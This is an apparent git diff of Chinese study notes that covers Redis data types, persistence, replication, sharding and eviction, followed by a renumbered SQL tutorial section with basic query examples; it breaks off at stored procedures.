<div align="center"> <img src="../pics//7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> hset hash-key sub-key1 value1
|
||||
(integer) 1
|
||||
> hset hash-key sub-key2 value2
|
||||
(integer) 1
|
||||
> hset hash-key sub-key1 value1
|
||||
(integer) 0
|
||||
|
||||
> hgetall hash-key
|
||||
1) "sub-key1"
|
||||
2) "value1"
|
||||
3) "sub-key2"
|
||||
4) "value2"
|
||||
|
||||
> hdel hash-key sub-key2
|
||||
(integer) 1
|
||||
> hdel hash-key sub-key2
|
||||
(integer) 0
|
||||
|
||||
> hget hash-key sub-key1
|
||||
"value1"
|
||||
|
||||
> hgetall hash-key
|
||||
1) "sub-key1"
|
||||
2) "value1"
|
||||
```
|
||||
|
||||
## 5. ZSET
|
||||
|
||||
<div align="center"> <img src="../pics//1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/> </div><br>
|
||||
|
||||
```html
|
||||
> zadd zset-key 728 member1
|
||||
(integer) 1
|
||||
> zadd zset-key 982 member0
|
||||
(integer) 1
|
||||
> zadd zset-key 982 member0
|
||||
(integer) 0
|
||||
|
||||
> zrange zset-key 0 -1 withscores
|
||||
1) "member1"
|
||||
2) "728"
|
||||
3) "member0"
|
||||
4) "982"
|
||||
|
||||
> zrangebyscore zset-key 0 800 withscores
|
||||
1) "member1"
|
||||
2) "728"
|
||||
|
||||
> zrem zset-key member1
|
||||
(integer) 1
|
||||
> zrem zset-key member1
|
||||
(integer) 0
|
||||
|
||||
> zrange zset-key 0 -1 withscores
|
||||
1) "member0"
|
||||
2) "982"
|
||||
```
|
||||
|
||||
# 三、键的过期时间
|
||||
|
||||
Redis 可以为每个键设置过期时间,当键过期时,会自动删除该键。
|
||||
|
||||
对于散列表这种容器,只能为整个键设置过期时间(整个散列表),而不能为键里面的单个元素设置过期时间。
|
||||
|
||||
过期时间对于清理缓存数据非常有用。
|
||||
|
||||
# 四、发布与订阅
|
||||
|
||||
订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
|
||||
|
||||
发布与订阅模式和观察者模式有以下不同:
|
||||
|
||||
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
|
||||
- 观察者模式是同步的,当事件触发时,主题会去调度观察者的方法;而发布与订阅模式是异步的;
|
||||
|
||||
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400"/> </div><br>
|
||||
|
||||
发布与订阅有一些问题,很少使用它,而是使用替代的解决方案。问题如下:
|
||||
|
||||
1. 如果订阅者读取消息的速度很慢,会使得消息不断积压在发布者的输出缓存区中,造成内存占用过多;
|
||||
2. 如果订阅者在执行订阅的过程中网络出现问题,那么就会丢失断线期间发送的所有消息。
|
||||
|
||||
# 五、事务
|
||||
|
||||
Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
|
||||
|
||||
MULTI 和 EXEC 中的操作将会一次性发送给服务器,而不是一条一条发送,这种方式称为流水线,它可以减少客户端与服务器之间的网络通信次数从而提升性能。
|
||||
|
||||
# 六、持久化
|
||||
|
||||
Redis 是内存型数据库,为了保证数据在断电后不会丢失,需要将内存中的数据持久化到硬盘上。
|
||||
|
||||
## 1. 快照持久化
|
||||
|
||||
将某个时间点的所有数据都存放到硬盘上。
|
||||
|
||||
可以将快照复制到其它服务器从而创建具有相同数据的服务器副本。
|
||||
|
||||
如果系统发生故障,将会丢失最后一次创建快照之后的数据。
|
||||
|
||||
如果数据量很大,保存快照的时间会很长。
|
||||
|
||||
## 2. AOF 持久化
|
||||
|
||||
将写命令添加到 AOF 文件(Append Only File)的末尾。
|
||||
|
||||
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。
|
||||
|
||||
将写命令添加到 AOF 文件时,要根据需求来保证何时将添加的数据同步到硬盘上,有以下同步选项:
|
||||
|
||||
| 选项 | 同步频率 |
|
||||
| :--: | :--: |
|
||||
| always | 每个写命令都同步 |
|
||||
| everysec | 每秒同步一次 |
|
||||
| no | 让操作系统来决定何时同步 |
|
||||
|
||||
always 选项会严重减低服务器的性能;everysec 选项比较合适,可以保证系统奔溃时只会丢失一秒左右的数据,并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响;no 选项并不能给服务器性能带来多大的提升,而且也会增加系统奔溃时数据丢失的数量。
|
||||
|
||||
随着服务器写请求的增多,AOF 文件会越来越大;Redis 提供了一种将 AOF 重写的特性,能够去除 AOF 文件中的冗余写命令。
|
||||
|
||||
# 七、复制
|
||||
|
||||
通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
|
||||
|
||||
一个从服务器只能有一个主服务器,并且不支持主主复制。
|
||||
|
||||
## 从服务器连接主服务器的过程
|
||||
|
||||
1. 主服务器创建快照文件,发送给从服务器,并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后,开始向从服务器发送存储在缓冲区中的写命令;
|
||||
|
||||
2. 从服务器丢弃所有旧数据,载入主服务器发来的快照文件,之后从服务器开始接受主服务器发来的写命令;
|
||||
|
||||
3. 主服务器每执行一次写命令,就向从服务器发送相同的写命令。
|
||||
|
||||
## 主从链
|
||||
|
||||
随着负载不断上升,主服务器可能无法很快地更新所有从服务器,或者重新连接和重新同步从服务器将导致系统超载。为了解决这个问题,可以创建一个中间层来分担主服务器的复制工作。中间层的服务器是最上层服务器的从服务器,又是最下层服务器的主服务器。
|
||||
|
||||
<div align="center"> <img src="../pics//395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br>
|
||||
|
||||
# 八、处理故障
|
||||
|
||||
要用到持久化文件来恢复服务器的数据。
|
||||
|
||||
持久化文件可能因为服务器出错也有错误,因此要先对持久化文件进行验证和修复。对 AOF 文件就行验证和修复很容易,修复操作将第一个出错命令和其后的所有命令都删除;但是只能验证快照文件,无法对快照文件进行修复,因为快照文件进行了压缩,出现在快照文件中间的错误可能会导致整个快照文件的剩余部分无法读取。
|
||||
|
||||
当主服务器出现故障时,Redis 常用的做法是新开一台服务器作为主服务器,具体步骤如下:假设 A 为主服务器,B 为从服务器,当 A 出现故障时,让 B 生成一个快照文件,将快照文件发送给 C,并让 C 恢复快照文件的数据。最后,让 B 成为 C 的从服务器。
|
||||
|
||||
# 九、分片
|
||||
|
||||
Redis 中的分片类似于 MySQL 的分表操作,分片是将数据划分为多个部分的方法,对数据的划分可以基于键包含的 ID、基于键的哈希值,或者基于以上两者的某种组合。通过对数据进行分片,用户可以将数据存储到多台机器里面,也可以从多台机器里面获取数据,这种方法在解决某些问题时可以获得线性级别的性能提升。
|
||||
|
||||
假设有 4 个 Reids 实例 R0,R1,R2,R3,还有很多表示用户的键 user:1,user:2,... 等等,有不同的方式来选择一个指定的键存储在哪个实例中。最简单的方式是范围分片,例如用户 id 从 0\~1000 的存储到实例 R0 中,用户 id 从 1001\~2000 的存储到实例 R1 中,等等。但是这样需要维护一张映射范围表,维护操作代价很高。还有一种方式是哈希分片,使用 CRC32 哈希函数将键转换为一个数字,再对实例数量求模就能知道应该存储的实例。
|
||||
|
||||
## 1. 客户端分片
|
||||
|
||||
客户端使用一致性哈希等算法决定键应当分布到哪个节点。
|
||||
|
||||
## 2. 代理分片
|
||||
|
||||
将客户端请求发送到代理上,由代理转发请求到正确的节点上。
|
||||
|
||||
## 3. 服务器分片
|
||||
|
||||
Redis Cluster。
|
||||
|
||||
# 十、事件
|
||||
|
||||
## 事件类型
|
||||
|
||||
### 1. 文件事件
|
||||
|
||||
服务器有许多套接字,事件产生时会对这些套接字进行操作,服务器通过监听套接字来处理事件。常见的文件事件有:客户端的连接事件;客户端的命令请求事件;服务器向客户端返回命令结果的事件;
|
||||
|
||||
### 2. 时间事件
|
||||
|
||||
又分为两类:定时事件是让一段程序在指定的时间之内执行一次;周期性时间是让一段程序每隔指定时间就执行一次。
|
||||
|
||||
## 事件的调度与执行
|
||||
|
||||
服务器需要不断监听文件事件的套接字才能得到待处理的文件事件,但是不能监听太久,否则时间事件无法在规定的时间内执行,因此监听时间应该根据距离现在最近的时间事件来决定。
|
||||
|
||||
事件调度与执行由 aeProcessEvents 函数负责,伪代码如下:
|
||||
|
||||
```python
|
||||
def aeProcessEvents():
|
||||
|
||||
# 获取到达时间离当前时间最接近的时间事件
|
||||
time_event = aeSearchNearestTimer()
|
||||
|
||||
# 计算最接近的时间事件距离到达还有多少毫秒
|
||||
remaind_ms = time_event.when - unix_ts_now()
|
||||
|
||||
# 如果事件已到达,那么 remaind_ms 的值可能为负数,将它设为 0
|
||||
if remaind_ms < 0:
|
||||
remaind_ms = 0
|
||||
|
||||
# 根据 remaind_ms 的值,创建 timeval
|
||||
timeval = create_timeval_with_ms(remaind_ms)
|
||||
|
||||
# 阻塞并等待文件事件产生,最大阻塞时间由传入的 timeval 决定
|
||||
aeApiPoll(timeval)
|
||||
|
||||
# 处理所有已产生的文件事件
|
||||
procesFileEvents()
|
||||
|
||||
# 处理所有已到达的时间事件
|
||||
processTimeEvents()
|
||||
```
|
||||
|
||||
将 aeProcessEvents 函数置于一个循环里面,加上初始化和清理函数,就构成了 Redis 服务器的主函数,伪代码如下:
|
||||
|
||||
```python
|
||||
def main():
|
||||
|
||||
# 初始化服务器
|
||||
init_server()
|
||||
|
||||
# 一直处理事件,直到服务器关闭为止
|
||||
while server_is_not_shutdown():
|
||||
aeProcessEvents()
|
||||
|
||||
# 服务器关闭,执行清理操作
|
||||
clean_server()
|
||||
```
|
||||
|
||||
从事件处理的角度来看,服务器运行流程如下:
|
||||
|
||||
<div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png" width=""/> </div><br>
|
||||
|
||||
# 十一、Redis 与 Memcached 的区别
|
||||
|
||||
两者都是非关系型内存键值数据库。有以下主要不同:
|
||||
|
||||
## 数据类型
|
||||
|
||||
Memcached 仅支持字符串类型,而 Redis 支持五种不同种类的数据类型,使得它可以更灵活地解决问题。
|
||||
|
||||
## 数据持久化
|
||||
|
||||
Redis 支持两种持久化策略:RDB 快照和 AOF 日志,而 Memcached 不支持持久化。
|
||||
|
||||
## 分布式
|
||||
|
||||
Memcached 不支持分布式,只能通过在客户端使用像一致性哈希这样的分布式算法来实现分布式存储,这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
|
||||
|
||||
Redis Cluster 实现了分布式的支持。
|
||||
|
||||
## 内存管理机制
|
||||
|
||||
在 Redis 中,并不是所有数据都一直存储在内存中,可以将一些很久没用的 value 交换到磁盘。而 Memcached 的数据则会一直在内存中。
|
||||
|
||||
Memcached 将内存分割成特定长度的块来存储数据,以完全解决内存碎片的问题,但是这种方式会使得内存的利用率不高,例如块的大小为 128 bytes,只存储 100 bytes 的数据,那么剩下的 28 bytes 就浪费掉了。
|
||||
|
||||
# 十二、Redis 适用场景
|
||||
|
||||
## 缓存
|
||||
|
||||
将热点数据放到内存中。
|
||||
|
||||
## 消息队列
|
||||
|
||||
List 类型是双向链表,很适合用于消息队列。
|
||||
|
||||
## 计数器
|
||||
|
||||
Redis 这种内存数据库能支持计数器频繁的读写操作。
|
||||
|
||||
## 好友关系
|
||||
|
||||
使用 Set 类型的交集操作很容易就可以知道两个用户的共同好友。
|
||||
|
||||
# 十三、数据淘汰策略
|
||||
|
||||
可以设置内存最大使用量,当内存使用量超过时施行淘汰策略,具体有 6 种淘汰策略。
|
||||
|
||||
| 策略 | 描述 |
|
||||
| :--: | :--: |
|
||||
| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
|
||||
| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
|
||||
|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
|
||||
| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
|
||||
| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
|
||||
| no-envicition | 禁止驱逐数据 |
|
||||
|
||||
如果使用 Redis 来缓存数据时,要保证所有数据都是热点数据,可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
|
||||
|
||||
作为内存数据库,出于对性能和内存消耗的考虑,Redis 的淘汰算法(LRU、TTL)实际实现上并非针对所有 key,而是抽样一小部分 key 从中选出被淘汰 key。抽样数量可通过 maxmemory-samples 配置。
|
||||
|
||||
# 十四、一个简单的论坛系统分析
|
||||
|
||||
该论坛系统功能如下:
|
||||
|
||||
- 可以发布文章;
|
||||
- 可以对文章进行点赞;
|
||||
- 在首页可以按文章的发布时间或者文章的点赞数进行排序显示;
|
||||
|
||||
## 文章信息
|
||||
|
||||
文章包括标题、作者、赞数等信息,在关系型数据库中很容易构建一张表来存储这些信息,在 Redis 中可以使用 HASH 来存储每种信息以及其对应的值的映射。
|
||||
|
||||
Redis 没有关系型数据库中的表这一概念来将同类型的数据存放在一起,而是使用命名空间的方式来实现这一功能。键名的前面部分存储命名空间,后面部分的内容存储 ID,通常使用 : 来进行分隔。例如下面的 HASH 的键名为 article:92617,其中 article 为命名空间,ID 为 92617。
|
||||
|
||||
<div align="center"> <img src="../pics//7c54de21-e2ff-402e-bc42-4037de1c1592.png" width="400"/> </div><br>
|
||||
|
||||
## 点赞功能
|
||||
|
||||
当有用户为一篇文章点赞时,除了要对该文章的 votes 字段进行加 1 操作,还必须记录该用户已经对该文章进行了点赞,防止用户点赞次数超过 1。可以建立文章的已投票用户集合来进行记录。
|
||||
|
||||
为了节约内存,规定一篇文章发布满一周之后,就不能再对它进行投票,而文章的已投票集合也会被删除,可以为文章的已投票集合设置一个一周的过期时间就能实现这个规定。
|
||||
|
||||
<div align="center"> <img src="../pics//485fdf34-ccf8-4185-97c6-17374ee719a0.png" width="400"/> </div><br>
|
||||
|
||||
## 对文章进行排序
|
||||
|
||||
为了按发布时间和点赞数进行排序,可以建立一个文章发布时间的有序集合和一个文章点赞数的有序集合。(下图中的 score 就是这里所说的点赞数;下面所示的有序集合分值并不直接是时间和点赞数,而是根据时间和点赞数间接计算出来的)
|
||||
|
||||
<div align="center"> <img src="../pics//f7d170a3-e446-4a64-ac2d-cb95028f81a8.png" width="800"/> </div><br>
|
||||
|
||||
# 参考资料
|
||||
|
||||
- Carlson J L. Redis in Action[J]. Media.johnwiley.com.au, 2013.
|
||||
- 黄健宏. Redis 设计与实现 [M]. 机械工业出版社, 2014.
|
||||
- [REDIS IN ACTION](https://redislabs.com/ebook/foreword/)
|
||||
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
|
||||
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
|
||||
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
|
||||
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
|
@ -1,39 +1,32 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [基础](#基础)
|
||||
* [创建表](#创建表)
|
||||
* [插入](#插入)
|
||||
* [更新](#更新)
|
||||
* [删除](#删除)
|
||||
* [修改表](#修改表)
|
||||
* [查询](#查询)
|
||||
* [排序](#排序)
|
||||
* [过滤](#过滤)
|
||||
* [通配符](#通配符)
|
||||
* [计算字段](#计算字段)
|
||||
* [函数](#函数)
|
||||
* [文本处理](#文本处理)
|
||||
* [日期和时间处理](#日期和时间处理)
|
||||
* [数值处理](#数值处理)
|
||||
* [汇总](#汇总)
|
||||
* [分组](#分组)
|
||||
* [子查询](#子查询)
|
||||
* [连接](#连接)
|
||||
* [内连接](#内连接)
|
||||
* [自连接](#自连接)
|
||||
* [自然连接](#自然连接)
|
||||
* [外连接](#外连接)
|
||||
* [组合查询](#组合查询)
|
||||
* [视图](#视图)
|
||||
* [存储过程](#存储过程)
|
||||
* [游标](#游标)
|
||||
* [触发器](#触发器)
|
||||
* [事务处理](#事务处理)
|
||||
* [字符集](#字符集)
|
||||
* [权限管理](#权限管理)
|
||||
* [一、基础](#一基础)
|
||||
* [二、创建表](#二创建表)
|
||||
* [三、修改表](#三修改表)
|
||||
* [四、插入](#四插入)
|
||||
* [五、更新](#五更新)
|
||||
* [六、删除](#六删除)
|
||||
* [七、查询](#七查询)
|
||||
* [八、排序](#八排序)
|
||||
* [九、过滤](#九过滤)
|
||||
* [十、通配符](#十通配符)
|
||||
* [十一、计算字段](#十一计算字段)
|
||||
* [十二、函数](#十二函数)
|
||||
* [十三、分组](#十三分组)
|
||||
* [十四、子查询](#十四子查询)
|
||||
* [十五、连接](#十五连接)
|
||||
* [十六、组合查询](#十六组合查询)
|
||||
* [十七、视图](#十七视图)
|
||||
* [十八、存储过程](#十八存储过程)
|
||||
* [十九、游标](#十九游标)
|
||||
* [二十、触发器](#二十触发器)
|
||||
* [二十一、事务处理](#二十一事务处理)
|
||||
* [二十二、字符集](#二十二字符集)
|
||||
* [二十三、权限管理](#二十三权限管理)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 基础
|
||||
# 一、基础
|
||||
|
||||
模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有模式。
|
||||
|
||||
@ -53,7 +46,7 @@ FROM mytable; -- 注释
|
||||
注释2 */
|
||||
```
|
||||
|
||||
# 创建表
|
||||
# 二、创建表
|
||||
|
||||
```sql
|
||||
CREATE TABLE mytable (
|
||||
@ -64,16 +57,38 @@ CREATE TABLE mytable (
|
||||
PRIMARY KEY (`id`));
|
||||
```
|
||||
|
||||
# 插入
|
||||
# 三、修改表
|
||||
|
||||
**普通插入**
|
||||
添加列
|
||||
|
||||
```sql
|
||||
ALTER TABLE mytable
|
||||
ADD col CHAR(20);
|
||||
```
|
||||
|
||||
删除列
|
||||
|
||||
```sql
|
||||
ALTER TABLE mytable
|
||||
DROP COLUMN col;
|
||||
```
|
||||
|
||||
删除表
|
||||
|
||||
```sql
|
||||
DROP TABLE mytable;
|
||||
```
|
||||
|
||||
# 四、插入
|
||||
|
||||
普通插入
|
||||
|
||||
```sql
|
||||
INSERT INTO mytable(col1, col2)
|
||||
VALUES(val1, val2);
|
||||
```
|
||||
|
||||
**插入检索出来的数据**
|
||||
插入检索出来的数据
|
||||
|
||||
```sql
|
||||
INSERT INTO mytable1(col1, col2)
|
||||
@ -81,14 +96,14 @@ SELECT col1, col2
|
||||
FROM mytable2;
|
||||
```
|
||||
|
||||
**将一个表的内容复制到一个新表**
|
||||
将一个表的内容插入到一个新表
|
||||
|
||||
```sql
|
||||
CREATE TABLE newtable AS
|
||||
SELECT * FROM mytable;
|
||||
```
|
||||
|
||||
# 更新
|
||||
# 五、更新
|
||||
|
||||
```sql
|
||||
UPDATE mytable
|
||||
@ -96,7 +111,7 @@ SET col = val
|
||||
WHERE id = 1;
|
||||
```
|
||||
|
||||
# 删除
|
||||
# 六、删除
|
||||
|
||||
```sql
|
||||
DELETE FROM mytable
|
||||
@ -107,31 +122,9 @@ WHERE id = 1;
|
||||
|
||||
使用更新和删除操作时一定要用 WHERE 子句,不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试,防止错误删除。
|
||||
|
||||
# 修改表
|
||||
# 七、查询
|
||||
|
||||
**添加列**
|
||||
|
||||
```sql
|
||||
ALTER TABLE mytable
|
||||
ADD col CHAR(20);
|
||||
```
|
||||
|
||||
**删除列**
|
||||
|
||||
```sql
|
||||
ALTER TABLE mytable
|
||||
DROP COLUMN col;
|
||||
```
|
||||
|
||||
**删除表**
|
||||
|
||||
```sql
|
||||
DROP TABLE mytable;
|
||||
```
|
||||
|
||||
# 查询
|
||||
|
||||
**DISTINCT**
|
||||
## DISTINCT
|
||||
|
||||
相同值只会出现一次。它作用于所有列,也就是说所有列的值都相同才算相同。
|
||||
|
||||
@ -140,7 +133,7 @@ SELECT DISTINCT col1, col2
|
||||
FROM mytable;
|
||||
```
|
||||
|
||||
**LIMIT**
|
||||
## LIMIT
|
||||
|
||||
限制返回的行数。可以有两个参数,第一个参数为起始行,从 0 开始;第二个参数为返回的总行数。
|
||||
|
||||
@ -167,7 +160,7 @@ LIMIT 2, 3;
|
||||
```
|
||||
|
||||
|
||||
# 排序
|
||||
# 八、排序
|
||||
|
||||
- **ASC** :升序(默认)
|
||||
- **DESC** :降序
|
||||
@ -180,9 +173,9 @@ FROM mytable
|
||||
ORDER BY col1 DESC, col2 ASC;
|
||||
```
|
||||
|
||||
# 过滤
|
||||
# 九、过滤
|
||||
|
||||
不进行过滤的数据非常大,导致通过网络传输了很多多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
|
||||
不进行过滤的数据非常大,导致通过网络传输了多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
|
||||
|
||||
```sql
|
||||
SELECT *
|
||||
@ -197,7 +190,7 @@ WHERE col IS NULL;
|
||||
| = < > | 等于 小于 大于 |
|
||||
| <> != | 不等于 |
|
||||
| <= !> | 小于等于 |
|
||||
| >= !< | 大于等于 |
|
||||
| >= !< | 大于等于 |
|
||||
| BETWEEN | 在两个值之间 |
|
||||
| IS NULL | 为NULL值 |
|
||||
|
||||
@ -209,13 +202,13 @@ WHERE col IS NULL;
|
||||
|
||||
**NOT** 操作符用于否定一个条件。
|
||||
|
||||
# 通配符
|
||||
# 十、通配符
|
||||
|
||||
通配符也是用在过滤语句中,但它只能用于文本字段。
|
||||
|
||||
- **%** 匹配 >=0 个任意字符,类似于 \*;
|
||||
- **%** 匹配 >=0 个任意字符;
|
||||
|
||||
- **\_** 匹配 ==1 个任意字符,类似于 \.;
|
||||
- **\_** 匹配 ==1 个任意字符;
|
||||
|
||||
- **[ ]** 可以匹配集合内的字符,例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定,也就是不匹配集合内的字符。
|
||||
|
||||
@ -228,7 +221,7 @@ WHERE col LIKE '[^AB]%' -- 不以 A 和 B 开头的任意文本
|
||||
```
|
||||
不要滥用通配符,通配符位于开头处匹配会非常慢。
|
||||
|
||||
# 计算字段
|
||||
# 十一、计算字段
|
||||
|
||||
在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多,并且转换和格式化后的数据量更少的话可以减少网络通信量。
|
||||
|
||||
@ -239,14 +232,14 @@ SELECT col1*col2 AS alias
|
||||
FROM mytable
|
||||
```
|
||||
|
||||
**Concat()** 用于连接两个字段。许多数据库会使用空格把一个值填充为列宽,因此连接的结果会出现一些不必要的空格,使用 **TRIM()** 可以去除首尾空格。
|
||||
**CONCAT()** 用于连接两个字段。许多数据库会使用空格把一个值填充为列宽,因此连接的结果会出现一些不必要的空格,使用 **TRIM()** 可以去除首尾空格。
|
||||
|
||||
```sql
|
||||
SELECT Concat(TRIM(col1), ' (', TRIM(col2), ')')
|
||||
SELECT CONCAT(TRIM(col1), ' (', TRIM(col2), ')')
|
||||
FROM mytable
|
||||
```
|
||||
|
||||
# 函数
|
||||
# 十二、函数
|
||||
|
||||
各个 DBMS 的函数都是不相同的,因此不可移植。
|
||||
|
||||
@ -324,20 +317,20 @@ mysql> SELECT NOW();
|
||||
|
||||
AVG() 会忽略 NULL 行。
|
||||
|
||||
使用 DISTINCT 可以汇总函数值汇总不同的值。
|
||||
使用 DISTINCT 可以让汇总函数值汇总不同的值。
|
||||
|
||||
```sql
|
||||
SELECT AVG(DISTINCT col1) AS avg_col
|
||||
FROM mytable
|
||||
```
|
||||
|
||||
# 分组
|
||||
# 十三、分组
|
||||
|
||||
分组就是把具有相同的数据值的行放在同一组中。
|
||||
|
||||
可以对同一分组数据使用汇总函数进行处理,例如求分组数据的平均值等。
|
||||
|
||||
指定的分组字段除了能让数组按该字段进行分组,也可以按该字段进行排序,例如按 col 字段排序并分组数据:
|
||||
指定的分组字段除了能按该字段进行分组,也可以按该字段进行排序,例如按 col 字段排序并分组数据:
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
@ -345,6 +338,15 @@ FROM mytable
|
||||
GROUP BY col;
|
||||
```
|
||||
|
||||
GROUP BY 是按照分组字段进行排序,ORDER BY 也可以以汇总字段来进行排序。
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
FROM mytable
|
||||
GROUP BY col
|
||||
ORDER BY num;
|
||||
```
|
||||
|
||||
WHERE 过滤行,HAVING 过滤分组。行过滤应当先与分组过滤;
|
||||
|
||||
```sql
|
||||
@ -355,33 +357,24 @@ GROUP BY col
|
||||
HAVING COUNT(*) >= 2;
|
||||
```
|
||||
|
||||
GROUP BY 的排序结果为分组字段,而 ORDER BY 也可以以聚集字段来进行排序。
|
||||
|
||||
```sql
|
||||
SELECT col, COUNT(*) AS num
|
||||
FROM mytable
|
||||
GROUP BY col
|
||||
ORDER BY num;
|
||||
```
|
||||
|
||||
分组规定:
|
||||
|
||||
1. GROUP BY 子句出现在 WHERE 子句之后,ORDER BY 子句之前;
|
||||
2. 除了汇总计算语句的字段外,SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出;
|
||||
2. 除了汇总字段外,SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出;
|
||||
3. NULL 的行会单独分为一组;
|
||||
4. 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
|
||||
|
||||
# 子查询
|
||||
# 十四、子查询
|
||||
|
||||
子查询中只能返回一个字段的数据。
|
||||
|
||||
可以将子查询的结果作为 WHRER 语句的过滤条件:
|
||||
|
||||
```
|
||||
```sql
|
||||
SELECT *
|
||||
FROM mytable1
|
||||
WHERE col1 IN (SELECT col2
|
||||
FROM mytable2);
|
||||
FROM mytable2);
|
||||
```
|
||||
|
||||
下面的语句可以检索出客户的订单数量,子查询语句会对第一个查询检索出的每个客户执行一次:
|
||||
@ -395,9 +388,9 @@ FROM Customers
|
||||
ORDER BY cust_name;
|
||||
```
|
||||
|
||||
# 连接
|
||||
# 十五、连接
|
||||
|
||||
连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 Where。
|
||||
连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 WHERE。
|
||||
|
||||
连接可以替换子查询,并且比子查询的效率一般会更快。
|
||||
|
||||
@ -407,7 +400,7 @@ ORDER BY cust_name;
|
||||
|
||||
内连接又称等值连接,使用 INNER JOIN 关键字。
|
||||
|
||||
```
|
||||
```sql
|
||||
select a, b, c
|
||||
from A inner join B
|
||||
on A.key = B.key
|
||||
@ -415,7 +408,7 @@ on A.key = B.key
|
||||
|
||||
可以不明确使用 INNER JOIN,而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。
|
||||
|
||||
```
|
||||
```sql
|
||||
select a, b, c
|
||||
from A, B
|
||||
where A.key = B.key
|
||||
@ -429,9 +422,9 @@ where A.key = B.key
|
||||
|
||||
一张员工表,包含员工姓名和员工所属部门,要找出与 Jim 处在同一部门的所有员工姓名。
|
||||
|
||||
**子查询版本**
|
||||
子查询版本
|
||||
|
||||
```
|
||||
```sql
|
||||
select name
|
||||
from employee
|
||||
where department = (
|
||||
@ -440,10 +433,10 @@ where department = (
|
||||
where name = "Jim");
|
||||
```
|
||||
|
||||
**自连接版本**
|
||||
自连接版本
|
||||
|
||||
```
|
||||
select name
|
||||
```sql
|
||||
select e2.name
|
||||
from employee as e1, employee as e2
|
||||
where e1.department = e2.department
|
||||
and e1.name = "Jim";
|
||||
@ -457,7 +450,7 @@ where e1.department = e2.department
|
||||
|
||||
内连接和自然连接的区别:内连接提供连接的列,而自然连接自动连接所有同名列。
|
||||
|
||||
```
|
||||
```sql
|
||||
select *
|
||||
from employee natural join department;
|
||||
```
|
||||
@ -468,15 +461,15 @@ from employee natural join department;
|
||||
|
||||
检索所有顾客的订单信息,包括还没有订单信息的顾客。
|
||||
|
||||
```
|
||||
```sql
|
||||
select Customers.cust_id, Orders.order_num
|
||||
from Customers left outer join Orders
|
||||
on Customers.cust_id = Orders.curt_id;
|
||||
from Customers left outer join Orders
|
||||
on Customers.cust_id = Orders.curt_id;
|
||||
```
|
||||
|
||||
如果需要统计顾客的订单数,使用聚集函数。
|
||||
|
||||
```
|
||||
```sql
|
||||
select Customers.cust_id,
|
||||
COUNT(Orders.order_num) as num_ord
|
||||
from Customers left outer join Orders
|
||||
@ -484,7 +477,7 @@ on Customers.cust_id = Orders.curt_id
|
||||
group by Customers.cust_id;
|
||||
```
|
||||
|
||||
# 组合查询
|
||||
# 十六、组合查询
|
||||
|
||||
使用 **UNION** 来组合两个查询,如果第一个查询返回 M 行,第二个查询返回 N 行,那么组合查询的结果为 M+N 行。
|
||||
|
||||
@ -504,7 +497,7 @@ FROM mytable
|
||||
WHERE col =2;
|
||||
```
|
||||
|
||||
# 视图
|
||||
# 十七、视图
|
||||
|
||||
视图是虚拟的表,本身不包含数据,也就不能对其进行索引操作。对视图的操作和对普通表的操作一样。
|
||||
|
||||
@ -522,17 +515,17 @@ FROM mytable
|
||||
WHERE col5 = val;
|
||||
```
|
||||
|
||||
# 存储过程
|
||||
# 十八、存储过程
|
||||
|
||||
存储过程可以看成是对一系列 SQL 操作的批处理;
|
||||
|
||||
**使用存储过程的好处**
|
||||
## 使用存储过程的好处
|
||||
|
||||
1. 代码封装,保证了一定的安全性;
|
||||
2. 代码复用;
|
||||
3. 由于是预先编译,因此具有很高的性能。
|
||||
|
||||
**创建存储过程**
|
||||
## 创建存储过程
|
||||
|
||||
